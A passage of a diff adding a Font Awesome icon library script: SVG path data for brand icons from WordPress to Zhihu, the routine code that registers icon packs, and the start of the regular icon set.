21.11 8.8-28.15L419 364.2l7-35.63 26.39 14.52c.25-20 7-58.06-8.8-84.45l26.39 5.28c4-22.07-2.38-39.21-7.92-56.74l22.43 9.68c-.44-25.07-29.94-56.79-61.58-58.5-20.22-1.09-56.74-25.17-54.1-51.9 2-19.87 17.45-42.62 43.11-49.7-44 36.51-9.68 67.3 5.28 73.46 4.4-11.44 17.54-69.08 0-130.2-40.39 22.87-89.65 65.1-93.2 147.79l-58 38.71-3.52 93.25L369.78 220l7 7-17.59 3.52-44 38.71-15.84-5.28-28.1 49.25-3.52 119.64 21.11 15.84-32.55 15.84-32.55-15.84 21.11-15.84-3.52-119.64-28.15-49.26-15.84 5.28-44-38.71-17.58-3.51 7-7 107.33 59.82-3.52-93.25-58.06-38.71C185 65.1 135.77 22.87 95.3 0c-17.54 61.12-4.4 118.76 0 130.2 15-6.16 49.26-36.95 5.28-73.46 25.66 7.08 41.15 29.83 43.11 49.7 2.63 26.74-33.88 50.81-54.1 51.9-31.65 1.72-61.15 33.44-61.59 58.51l22.43-9.68c-5.54 17.53-11.91 34.67-7.92 56.74l26.39-5.28c-15.76 26.39-9.05 64.43-8.8 84.45l26.39-14.52 7 35.63 24.63-5.28 8.8 28.15L153.35 366 134 373l-8.8-33.43-18.47 7-6.16-33.43-27.27 7c-3.82-25.38 2-49.1 13.2-72.14l-30.35-8.36c9.4-43.52 35.47-50.77 63.34-54.1 9.36 30.62 6.24 56.45-2.64 80.05 82.25 56.3 76.75 117.23 81.37 149.11 4.4 30.35 4.45 89.29 25.51 97.21v-29.83l5.28-7 5.28 12.32 10.56-15.84 11.44 21.11 11.43-21.1zm79.17-95L331.06 366c7.47-4.36 13.76-8.42 19.35-12.32-.6 7.22-.27 13.84-3.51 22.84zm28.15-49.26c-.4 10.94-.9 21.66-1.76 31.67-7.85-1.86-15.57-3.8-21.11-7 8.24-7.94 15.55-16.32 22.87-24.68zm24.63 5.28c0-13.43-2.05-24.21-5.28-33.43a235 235 0 0 1-18.47 27.27zm3.52-80.94c19.44 12.81 27.8 33.66 29.91 56.3-12.32-4.53-24.63-9.31-36.95-10.56 5.06-12 6.65-28.14 7-45.74zm-1.76-45.74c.81 14.3 1.84 28.82 1.76 42.23 19.22-8.11 29.78-9.72 44-14.08-10.61-18.96-27.2-25.53-45.76-28.16zM165.68 376.52L181.52 366c-7.47-4.36-13.76-8.42-19.35-12.32.6 7.26.27 13.88 3.51 22.88zm-28.15-49.26c.4 10.94.9 21.66 1.76 31.67 7.85-1.86 15.57-3.8 21.11-7-8.24-7.93-15.55-16.31-22.87-24.67zm-24.64 5.28c0-13.43 2-24.21 5.28-33.43a235 235 0 0 0 18.47 27.27zm-3.52-80.94c-19.44 12.81-27.8 33.66-29.91 56.3 12.32-4.53 24.63-9.31 37-10.56-5-12-6.65-28.14-7-45.74zm1.76-45.74c-.81 14.3-1.84 28.82-1.76 42.23-19.22-8.11-29.78-9.72-44-14.08 10.63-18.95 27.23-25.52 45.76-28.15z" ], + wordpress: [ 512, 512, [], "f19a", "M61.7 169.4l101.5 278C92.2 413 43.3 340.2 43.3 256c0-30.9 6.6-60.1 18.4-86.6zm337.9 75.9c0-26.3-9.4-44.5-17.5-58.7-10.8-17.5-20.9-32.4-20.9-49.9 0-19.6 14.8-37.8 35.7-37.8.9 0 1.8.1 2.8.2-37.9-34.7-88.3-55.9-143.7-55.9-74.3 0-139.7 38.1-177.8 95.9 5 .2 9.7.3 13.7.3 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l77.5 230.4L249.8 247l-33.1-90.8c-11.5-.7-22.3-2-22.3-2-11.5-.7-10.1-18.2 1.3-17.5 0 0 35.1 2.7 56 2.7 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l76.9 228.7 21.2-70.9c9-29.4 16-50.5 16-68.7zm-139.9 29.3l-63.8 185.5c19.1 5.6 39.2 8.7 60.1 8.7 24.8 0 48.5-4.3 70.6-12.1-.6-.9-1.1-1.9-1.5-2.9l-65.4-179.2zm183-120.7c.9 6.8 1.4 14 1.4 21.9 0 21.6-4 45.8-16.2 76.2l-65 187.9C426.2 403 468.7 334.5 468.7 256c0-37-9.4-71.8-26-102.1zM504 256c0 136.8-111.3 248-248 248C119.2 504 8 392.7 8 256 8 119.2 119.2 8 256 8c136.7 0 248 111.2 248 248zm-11.4 0c0-130.5-106.2-236.6-236.6-236.6C125.5 19.4 19.4 125.5 19.4 256S125.6 492.6 256 492.6c130.5 0 236.6-106.1 236.6-236.6z" ], + "wordpress-simple": [ 512, 512, [], "f411", "M256 8C119.3 8 8 119.2 8 256c0 136.7 111.3 248 248 248s248-111.3 248-248C504 119.2 392.7 8 256 8zM33 256c0-32.3 6.9-63 19.3-90.7l106.4 291.4C84.3 420.5 33 344.2 33 256zm223 223c-21.9 0-43-3.2-63-9.1l66.9-194.4 68.5 187.8c.5 1.1 1 2.1 1.6 3.1-23.1 8.1-48 12.6-74 12.6zm30.7-327.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-21.9 0-58.7-2.8-58.7-2.8-12-.7-13.4 17.7-1.4 18.4 0 0 11.4 1.4 23.4 2.1l34.7 95.2L200.6 393l-81.2-241.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-4.2 0-9.1-.1-14.4-.3C109.6 73 178.1 33 256 33c58 0 110.9 22.2 150.6 58.5-1-.1-1.9-.2-2.9-.2-21.9 0-37.4 19.1-37.4 39.6 0 18.4 10.6 33.9 21.9 52.3 8.5 14.8 18.4 33.9 18.4 61.5 0 19.1-7.3 41.2-17 72.1l-22.2 74.3-80.7-239.6zm81.4 297.2l68.1-196.9c12.7-31.8 17-57.2 17-79.9 0-8.2-.5-15.8-1.5-22.9 17.4 31.8 27.3 68.2 27.3 107 0 82.3-44.6 154.1-110.9 192.7z" ], + wpbeginner: [ 512, 512, [], "f297", "M462.799 322.374C519.01 386.682 466.961 480 370.944 480c-39.602 0-78.824-17.687-100.142-50.04-6.887.356-22.702.356-29.59 0C219.848 462.381 180.588 480 141.069 480c-95.49 0-148.348-92.996-91.855-157.626C-29.925 190.523 80.479 32 256.006 32c175.632 0 285.87 158.626 206.793 290.374zm-339.647-82.972h41.529v-58.075h-41.529v58.075zm217.18 86.072v-23.839c-60.506 20.915-132.355 9.198-187.589-33.971l.246 24.897c51.101 46.367 131.746 57.875 187.343 32.913zm-150.753-86.072h166.058v-58.075H189.579v58.075z" ], + wpexplorer: [ 512, 512, [], "f2de", "M512 256c0 141.2-114.7 256-256 256C114.8 512 0 397.3 0 256S114.7 0 256 0s256 114.7 256 256zm-32 0c0-123.2-100.3-224-224-224C132.5 32 32 132.5 32 256s100.5 224 224 224 224-100.5 224-224zM160.9 124.6l86.9 37.1-37.1 86.9-86.9-37.1 37.1-86.9zm110 169.1l46.6 94h-14.6l-50-100-48.9 100h-14l51.1-106.9-22.3-9.4 6-14 68.6 29.1-6 14.3-16.5-7.1zm-11.8-116.3l68.6 29.4-29.4 68.3L230 246l29.1-68.6zm80.3 42.9l54.6 23.1-23.4 54.3-54.3-23.1 23.1-54.3z" ], + wpforms: [ 448, 512, [], "f298", "M448 75.2v361.7c0 24.3-19 43.2-43.2 43.2H43.2C19.3 480 0 461.4 0 436.8V75.2C0 51.1 18.8 32 43.2 32h361.7c24 0 43.1 18.8 43.1 43.2zm-37.3 361.6V75.2c0-3-2.6-5.8-5.8-5.8h-9.3L285.3 144 224 94.1 162.8 144 52.5 69.3h-9.3c-3.2 0-5.8 2.8-5.8 5.8v361.7c0 3 2.6 5.8 5.8 5.8h361.7c3.2.1 5.8-2.7 5.8-5.8zM150.2 186v37H76.7v-37h73.5zm0 74.4v37.3H76.7v-37.3h73.5zm11.1-147.3l54-43.7H96.8l64.5 43.7zm210 72.9v37h-196v-37h196zm0 74.4v37.3h-196v-37.3h196zm-84.6-147.3l64.5-43.7H232.8l53.9 43.7zM371.3 335v37.3h-99.4V335h99.4z" ], + wpressr: [ 496, 512, [], "f3e4", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm171.33 158.6c-15.18 34.51-30.37 69.02-45.63 103.5-2.44 5.51-6.89 8.24-12.97 8.24-23.02-.01-46.03.06-69.05-.05-5.12-.03-8.25 1.89-10.34 6.72-10.19 23.56-20.63 47-30.95 70.5-1.54 3.51-4.06 5.29-7.92 5.29-45.94-.01-91.87-.02-137.81 0-3.13 0-5.63-1.15-7.72-3.45-11.21-12.33-22.46-24.63-33.68-36.94-2.69-2.95-2.79-6.18-1.21-9.73 8.66-19.54 17.27-39.1 25.89-58.66 12.93-29.35 25.89-58.69 38.75-88.08 1.7-3.88 4.28-5.68 8.54-5.65 14.24.1 28.48.02 42.72.05 6.24.01 9.2 4.84 6.66 10.59-13.6 30.77-27.17 61.55-40.74 92.33-5.72 12.99-11.42 25.99-17.09 39-3.91 8.95 7.08 11.97 10.95 5.6.23-.37-1.42 4.18 30.01-67.69 1.36-3.1 3.41-4.4 6.77-4.39 15.21.08 30.43.02 45.64.04 5.56.01 7.91 3.64 5.66 8.75-8.33 18.96-16.71 37.9-24.98 56.89-4.98 11.43 8.08 12.49 11.28 5.33.04-.08 27.89-63.33 32.19-73.16 2.02-4.61 5.44-6.51 10.35-6.5 26.43.05 52.86 0 79.29.05 12.44.02 13.93-13.65 3.9-13.64-25.26.03-50.52.02-75.78.02-6.27 0-7.84-2.47-5.27-8.27 5.78-13.06 11.59-26.11 17.3-39.21 1.73-3.96 4.52-5.79 8.84-5.78 23.09.06 25.98.02 130.78.03 6.08-.01 8.03 2.79 5.62 8.27z" ], + xbox: [ 512, 512, [], "f412", "M369.9 318.2c44.3 54.3 64.7 98.8 54.4 118.7-7.9 15.1-56.7 44.6-92.6 55.9-29.6 9.3-68.4 13.3-100.4 10.2-38.2-3.7-76.9-17.4-110.1-39C93.3 445.8 87 438.3 87 423.4c0-29.9 32.9-82.3 89.2-142.1 32-33.9 76.5-73.7 81.4-72.6 9.4 2.1 84.3 75.1 112.3 109.5zM188.6 143.8c-29.7-26.9-58.1-53.9-86.4-63.4-15.2-5.1-16.3-4.8-28.7 8.1-29.2 30.4-53.5 79.7-60.3 122.4-5.4 34.2-6.1 43.8-4.2 60.5 5.6 50.5 17.3 85.4 40.5 120.9 9.5 14.6 12.1 17.3 9.3 9.9-4.2-11-.3-37.5 9.5-64 14.3-39 53.9-112.9 120.3-194.4zm311.6 63.5C483.3 127.3 432.7 77 425.6 77c-7.3 0-24.2 6.5-36 13.9-23.3 14.5-41 31.4-64.3 52.8C367.7 197 427.5 283.1 448.2 346c6.8 20.7 9.7 41.1 7.4 52.3-1.7 8.5-1.7 8.5 1.4 4.6 6.1-7.7 19.9-31.3 25.4-43.5 7.4-16.2 15-40.2 18.6-58.7 4.3-22.5 3.9-70.8-.8-93.4zM141.3 43C189 40.5 251 77.5 255.6 78.4c.7.1 10.4-4.2 21.6-9.7 63.9-31.1 94-25.8 107.4-25.2-63.9-39.3-152.7-50-233.9-11.7-23.4 11.1-24 11.9-9.4 11.2z" ], + xing: [ 384, 512, [], "f168", "M162.7 210c-1.8 3.3-25.2 44.4-70.1 123.5-4.9 8.3-10.8 12.5-17.7 12.5H9.8c-7.7 0-12.1-7.5-8.5-14.4l69-121.3c.2 0 .2-.1 0-.3l-43.9-75.6c-4.3-7.8.3-14.1 8.5-14.1H100c7.3 0 13.3 4.1 18 12.2l44.7 77.5zM382.6 46.1l-144 253v.3L330.2 466c3.9 7.1.2 14.1-8.5 14.1h-65.2c-7.6 0-13.6-4-18-12.2l-92.4-168.5c3.3-5.8 51.5-90.8 144.8-255.2 4.6-8.1 10.4-12.2 17.5-12.2h65.7c8 0 12.3 6.7 8.5 14.1z" ], + "xing-square": [ 448, 512, [], "f169", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM140.4 320.2H93.8c-5.5 0-8.7-5.3-6-10.3l49.3-86.7c.1 0 .1-.1 0-.2l-31.4-54c-3-5.6.2-10.1 6-10.1h46.6c5.2 0 9.5 2.9 12.9 8.7l31.9 55.3c-1.3 2.3-18 31.7-50.1 88.2-3.5 6.2-7.7 9.1-12.6 9.1zm219.7-214.1L257.3 286.8v.2l65.5 119c2.8 5.1.1 10.1-6 10.1h-46.6c-5.5 0-9.7-2.9-12.9-8.7l-66-120.3c2.3-4.1 36.8-64.9 103.4-182.3 3.3-5.8 7.4-8.7 12.5-8.7h46.9c5.7-.1 8.8 4.7 6 10z" ], + "y-combinator": [ 448, 512, [], "f23b", "M448 32v448H0V32h448zM236 287.5L313.5 142h-32.7L235 233c-4.7 9.3-9 18.3-12.8 26.8L210 233l-45.2-91h-35l76.7 143.8v94.5H236v-92.8z" ], + yahoo: [ 512, 512, [], "f19e", "M223.69,141.06,167,284.23,111,141.06H14.93L120.76,390.19,82.19,480h94.17L317.27,141.06Zm105.4,135.79a58.22,58.22,0,1,0,58.22,58.22A58.22,58.22,0,0,0,329.09,276.85ZM394.65,32l-93,223.47H406.44L499.07,32Z" ], + yammer: [ 512, 512, [], "f840", "M421.78 152.17A23.06 23.06 0 0 0 400.9 112c-.83.43-1.71.9-2.63 1.4-15.25 8.4-118.33 80.62-106.69 88.77s82.04-23.61 130.2-50zm0 217.17c-48.16-26.38-118.64-58.1-130.2-50s91.42 80.35 106.69 88.74c.92.51 1.8 1 2.63 1.41a23.07 23.07 0 0 0 20.88-40.15zM464.21 237c-.95 0-1.95-.06-3-.06-17.4 0-142.52 13.76-136.24 26.51s83.3 18.74 138.21 18.76a23 23 0 0 0 1-45.21zM31 96.65a24.88 24.88 0 0 1 46.14-18.4l81 205.06h1.21l77-203.53a23.52 23.52 0 0 1 44.45 15.27L171.2 368.44C152.65 415.66 134.08 448 77.91 448a139.67 139.67 0 0 1-23.81-1.95 21.31 21.31 0 0 1 6.9-41.77c.66.06 10.91.66 13.86.66 30.47 0 43.74-18.94 58.07-59.41z" ], + yandex: [ 256, 512, [], "f413", "M153.1 315.8L65.7 512H2l96-209.8c-45.1-22.9-75.2-64.4-75.2-141.1C22.7 53.7 90.8 0 171.7 0H254v512h-55.1V315.8h-45.8zm45.8-269.3h-29.4c-44.4 0-87.4 29.4-87.4 114.6 0 82.3 39.4 108.8 87.4 108.8h29.4V46.5z" ], + "yandex-international": [ 320, 512, [], "f414", "M129.5 512V345.9L18.5 48h55.8l81.8 229.7L250.2 0h51.3L180.8 347.8V512h-51.3z" ], + yarn: [ 496, 512, [], "f7e3", "M393.9 345.2c-39 9.3-48.4 32.1-104 47.4 0 0-2.7 4-10.4 5.8-13.4 3.3-63.9 6-68.5 6.1-12.4.1-19.9-3.2-22-8.2-6.4-15.3 9.2-22 9.2-22-8.1-5-9-9.9-9.8-8.1-2.4 5.8-3.6 20.1-10.1 26.5-8.8 8.9-25.5 5.9-35.3.8-10.8-5.7.8-19.2.8-19.2s-5.8 3.4-10.5-3.6c-6-9.3-17.1-37.3 11.5-62-1.3-10.1-4.6-53.7 40.6-85.6 0 0-20.6-22.8-12.9-43.3 5-13.4 7-13.3 8.6-13.9 5.7-2.2 11.3-4.6 15.4-9.1 20.6-22.2 46.8-18 46.8-18s12.4-37.8 23.9-30.4c3.5 2.3 16.3 30.6 16.3 30.6s13.6-7.9 15.1-5c8.2 16 9.2 46.5 5.6 65.1-6.1 30.6-21.4 47.1-27.6 57.5-1.4 2.4 16.5 10 27.8 41.3 10.4 28.6 1.1 52.7 2.8 55.3.8 1.4 13.7.8 36.4-13.2 12.8-7.9 28.1-16.9 45.4-17 16.7-.5 17.6 19.2 4.9 22.2zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-79.3 75.2c-1.7-13.6-13.2-23-28-22.8-22 .3-40.5 11.7-52.8 19.2-4.8 3-8.9 5.2-12.4 6.8 3.1-44.5-22.5-73.1-28.7-79.4 7.8-11.3 18.4-27.8 23.4-53.2 4.3-21.7 3-55.5-6.9-74.5-1.6-3.1-7.4-11.2-21-7.4-9.7-20-13-22.1-15.6-23.8-1.1-.7-23.6-16.4-41.4 28-12.2.9-31.3 5.3-47.5 22.8-2 2.2-5.9 3.8-10.1 5.4h.1c-8.4 3-12.3 9.9-16.9 22.3-6.5 17.4.2 34.6 6.8 45.7-17.8 15.9-37 39.8-35.7 82.5-34 36-11.8 73-5.6 79.6-1.6 11.1 3.7 19.4 12 23.8 12.6 6.7 30.3 9.6 43.9 2.8 4.9 5.2 13.8 10.1 30 10.1 6.8 0 58-2.9 72.6-6.5 6.8-1.6 11.5-4.5 14.6-7.1 9.8-3.1 36.8-12.3 62.2-28.7 18-11.7 24.2-14.2 37.6-17.4 12.9-3.2 21-15.1 19.4-28.2z" ], + yelp: [ 384, 512, [], "f1e9", "M42.9 240.32l99.62 48.61c19.2 9.4 16.2 37.51-4.5 42.71L30.5 358.45a22.79 22.79 0 0 1-28.21-19.6 197.16 197.16 0 0 1 9-85.32 22.8 22.8 0 0 1 31.61-13.21zm44 239.25a199.45 199.45 0 0 0 79.42 32.11A22.78 22.78 0 0 0 192.94 490l3.9-110.82c.7-21.3-25.5-31.91-39.81-16.1l-74.21 82.4a22.82 22.82 0 0 0 4.09 34.09zm145.34-109.92l58.81 94a22.93 22.93 0 0 0 34 5.5 198.36 198.36 0 0 0 52.71-67.61A23 23 0 0 0 364.17 370l-105.42-34.26c-20.31-6.5-37.81 15.8-26.51 33.91zm148.33-132.23a197.44 197.44 0 0 0-50.41-69.31 22.85 22.85 0 0 0-34 4.4l-62 91.92c-11.9 17.7 4.7 40.61 25.2 34.71L366 268.63a23 23 0 0 0 14.61-31.21zM62.11 30.18a22.86 22.86 0 0 0-9.9 32l104.12 180.44c11.7 20.2 42.61 11.9 42.61-11.4V22.88a22.67 22.67 0 0 0-24.5-22.8 320.37 320.37 0 0 0-112.33 30.1z" ], + yoast: [ 448, 512, [], "f2b1", "M91.3 76h186l-7 18.9h-179c-39.7 0-71.9 31.6-71.9 70.3v205.4c0 35.4 24.9 70.3 84 70.3V460H91.3C41.2 460 0 419.8 0 370.5V165.2C0 115.9 40.7 76 91.3 76zm229.1-56h66.5C243.1 398.1 241.2 418.9 202.2 459.3c-20.8 21.6-49.3 31.7-78.3 32.7v-51.1c49.2-7.7 64.6-49.9 64.6-75.3 0-20.1.6-12.6-82.1-223.2h61.4L218.2 299 320.4 20zM448 161.5V460H234c6.6-9.6 10.7-16.3 12.1-19.4h182.5V161.5c0-32.5-17.1-51.9-48.2-62.9l6.7-17.6c41.7 13.6 60.9 43.1 60.9 80.5z" ], + youtube: [ 576, 512, [], "f167", "M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z" ], + "youtube-square": [ 448, 512, [], "f431", "M186.8 202.1l95.2 54.1-95.2 54.1V202.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-42 176.3s0-59.6-7.6-88.2c-4.2-15.8-16.5-28.2-32.2-32.4C337.9 128 224 128 224 128s-113.9 0-142.2 7.7c-15.7 4.2-28 16.6-32.2 32.4-7.6 28.5-7.6 88.2-7.6 88.2s0 59.6 7.6 88.2c4.2 15.8 16.5 27.7 32.2 31.9C110.1 384 224 384 224 384s113.9 0 142.2-7.7c15.7-4.2 28-16.1 32.2-31.9 7.6-28.5 7.6-88.1 7.6-88.1z" ], + zhihu: [ 640, 512, [], "f63f", "M170.54 148.13v217.54l23.43.01 7.71 26.37 42.01-26.37h49.53V148.13H170.54zm97.75 193.93h-27.94l-27.9 17.51-5.08-17.47-11.9-.04V171.75h72.82v170.31zm-118.46-94.39H97.5c1.74-27.1 2.2-51.59 2.2-73.46h51.16s1.97-22.56-8.58-22.31h-88.5c3.49-13.12 7.87-26.66 13.12-40.67 0 0-24.07 0-32.27 21.57-3.39 8.9-13.21 43.14-30.7 78.12 5.89-.64 25.37-1.18 36.84-22.21 2.11-5.89 2.51-6.66 5.14-14.53h28.87c0 10.5-1.2 66.88-1.68 73.44H20.83c-11.74 0-15.56 23.62-15.56 23.62h65.58C66.45 321.1 42.83 363.12 0 396.34c20.49 5.85 40.91-.93 51-9.9 0 0 22.98-20.9 35.59-69.25l53.96 64.94s7.91-26.89-1.24-39.99c-7.58-8.92-28.06-33.06-36.79-41.81L87.9 311.95c4.36-13.98 6.99-27.55 7.87-40.67h61.65s-.09-23.62-7.59-23.62v.01zm412.02-1.6c20.83-25.64 44.98-58.57 44.98-58.57s-18.65-14.8-27.38-4.06c-6 8.15-36.83 48.2-36.83 48.2l19.23 14.43zm-150.09-59.09c-9.01-8.25-25.91 2.13-25.91 2.13s39.52 55.04 41.12 57.45l19.46-13.73s-25.67-37.61-34.66-45.86h-.01zM640 258.35c-19.78 0-130.91.93-131.06.93v-101c4.81 0 12.42-.4 22.85-1.2 40.88-2.41 70.13-4 87.77-4.81 0 0 12.22-27.19-.59-33.44-3.07-1.18-23.17 4.58-23.17 4.58s-165.22 16.49-232.36 18.05c1.6 8.82 7.62 17.08 15.78 19.55 13.31 3.48 22.69 1.7 49.15.89 24.83-1.6 43.68-2.43 56.51-2.43v99.81H351.41s2.82 22.31 25.51 22.85h107.94v70.92c0 13.97-11.19 21.99-24.48 21.12-14.08.11-26.08-1.15-41.69-1.81 1.99 3.97 6.33 14.39 19.31 21.84 9.88 4.81 16.17 6.57 26.02 6.57 29.56 0 45.67-17.28 44.89-45.31v-73.32h122.36c9.68 0 8.7-23.78 8.7-23.78l.03-.01z" ] + }; + !function(c) { + try { + c(); + } catch (c) { + if (!e) throw c; + } + }(function() { + M("fab", n); + }); +}(), function() { + "use strict"; + var c = {}, l = {}; + try { + "undefined" != typeof window && (c = window), "undefined" != typeof document && (l = document); + } catch (c) {} + var h = (c.navigator || {}).userAgent, a = void 0 === h ? "" : h, z = c, v = l, m = (z.document, + !!v.documentElement && !!v.head && "function" == typeof v.addEventListener && v.createElement, + ~a.indexOf("MSIE") || a.indexOf("Trident/"), "___FONT_AWESOME___"), e = function() { + try { + return !1; + } catch (c) { + return !1; + } + }(); + var s = z || {}; + s[m] || (s[m] = {}), s[m].styles || (s[m].styles = {}), s[m].hooks || (s[m].hooks = {}), + s[m].shims || (s[m].shims = []); + var t = s[m]; + function M(c, a) { + var l = (2 < arguments.length && void 0 !== arguments[2] ? arguments[2] : {}).skipHooks, h = void 0 !== l && l, z = Object.keys(a).reduce(function(c, l) { + var h = a[l]; + return !!h.icon ? c[h.iconName] = h.icon : c[l] = h, c; + }, {}); + "function" != typeof t.hooks.addPack || h ? t.styles[c] = function(z) { + for (var c = 1; c < arguments.length; c++) { + var v = null != arguments[c] ? arguments[c] : {}, l = Object.keys(v); + "function" == typeof Object.getOwnPropertySymbols && (l = l.concat(Object.getOwnPropertySymbols(v).filter(function(c) { + return Object.getOwnPropertyDescriptor(v, c).enumerable; + }))), l.forEach(function(c) { + var l, h, a; + l = z, a = v[h = c], h in l ? Object.defineProperty(l, h, { + value: a, + enumerable: !0, + configurable: !0, + writable: !0 + }) : l[h] = a; + }); + } + return z; + }({}, t.styles[c] || {}, z) : t.hooks.addPack(c, z), "fas" === c && M("fa", a); + } + var n = { + "address-book": [ 448, 512, [], "f2b9", "M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-68 304H48V48h320v416zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2z" ], + "address-card": [ 576, 512, [], "f2bb", "M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H48V80h480v352zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2zM360 320h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8z" ], + angry: [ 496, 512, [], "f556", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-144c-33.6 0-65.2 14.8-86.8 40.6-8.5 10.2-7.1 25.3 3.1 33.8s25.3 7.2 33.8-3c24.8-29.7 75-29.7 99.8 0 8.1 9.7 23.2 11.9 33.8 3 10.2-8.5 11.5-23.6 3.1-33.8-21.6-25.8-53.2-40.6-86.8-40.6zm-48-72c10.3 0 19.9-6.7 23-17.1 3.8-12.7-3.4-26.1-16.1-29.9l-80-24c-12.8-3.9-26.1 3.4-29.9 16.1-3.8 12.7 3.4 26.1 16.1 29.9l28.2 8.5c-3.1 4.9-5.3 10.4-5.3 16.6 0 17.7 14.3 32 32 32s32-14.4 32-32.1zm199-54.9c-3.8-12.7-17.1-19.9-29.9-16.1l-80 24c-12.7 3.8-19.9 17.2-16.1 29.9 3.1 10.4 12.7 17.1 23 17.1 0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.2-2.2-11.7-5.3-16.6l28.2-8.5c12.7-3.7 19.9-17.1 16.1-29.8z" ], + "arrow-alt-circle-down": [ 512, 512, [], "f358", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm-32-316v116h-67c-10.7 0-16 12.9-8.5 20.5l99 99c4.7 4.7 12.3 4.7 17 0l99-99c7.6-7.6 2.2-20.5-8.5-20.5h-67V140c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12z" ], + "arrow-alt-circle-left": [ 512, 512, [], "f359", "M8 256c0 137 111 248 248 248s248-111 248-248S393 8 256 8 8 119 8 256zm448 0c0 110.5-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56s200 89.5 200 200zm-72-20v40c0 6.6-5.4 12-12 12H256v67c0 10.7-12.9 16-20.5 8.5l-99-99c-4.7-4.7-4.7-12.3 0-17l99-99c7.6-7.6 20.5-2.2 20.5 8.5v67h116c6.6 0 12 5.4 12 12z" ], + "arrow-alt-circle-right": [ 512, 512, [], "f35a", "M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm72 20v-40c0-6.6 5.4-12 12-12h116v-67c0-10.7 12.9-16 20.5-8.5l99 99c4.7 4.7 4.7 12.3 0 17l-99 99c-7.6 7.6-20.5 2.2-20.5-8.5v-67H140c-6.6 0-12-5.4-12-12z" ], + "arrow-alt-circle-up": [ 512, 512, [], "f35b", "M256 504c137 0 248-111 248-248S393 8 256 8 8 119 8 256s111 248 248 248zm0-448c110.5 0 200 89.5 200 200s-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56zm20 328h-40c-6.6 0-12-5.4-12-12V256h-67c-10.7 0-16-12.9-8.5-20.5l99-99c4.7-4.7 12.3-4.7 17 0l99 99c7.6 7.6 2.2 20.5-8.5 20.5h-67v116c0 6.6-5.4 12-12 12z" ], + bell: [ 448, 512, [], "f0f3", "M439.39 362.29c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71zM67.53 368c21.22-27.97 44.42-74.33 44.53-159.42 0-.2-.06-.38-.06-.58 0-61.86 50.14-112 